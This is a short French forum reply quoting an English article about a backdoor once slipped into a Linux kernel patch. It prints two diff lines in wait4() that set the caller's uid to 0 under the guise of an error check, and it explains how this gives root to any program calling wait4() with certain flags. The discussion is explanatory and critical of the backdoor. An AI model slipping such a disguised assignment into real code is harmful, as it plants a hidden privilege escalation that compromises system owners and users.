• [^] # Re: Amis développeurs

    Posté par . En réponse au journal Contre la phobie du root. Évalué à 7.

    Il fallait lire le lien de ymorin :

    An attempt to make a change in this way is suspicious, to say the least, so there was a lot of interest in what the attempted change was. The actual patch confirmed all suspicious; the relevant code was:

    + if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    + retval = -EINVAL;

    It looks much like a standard error check, until you notice that the code is not testing current->uid - it is, instead setting it to zero. A program which called wait4() with the given flags set would, thereafter, be running as root. This is, in other words, a classic back door.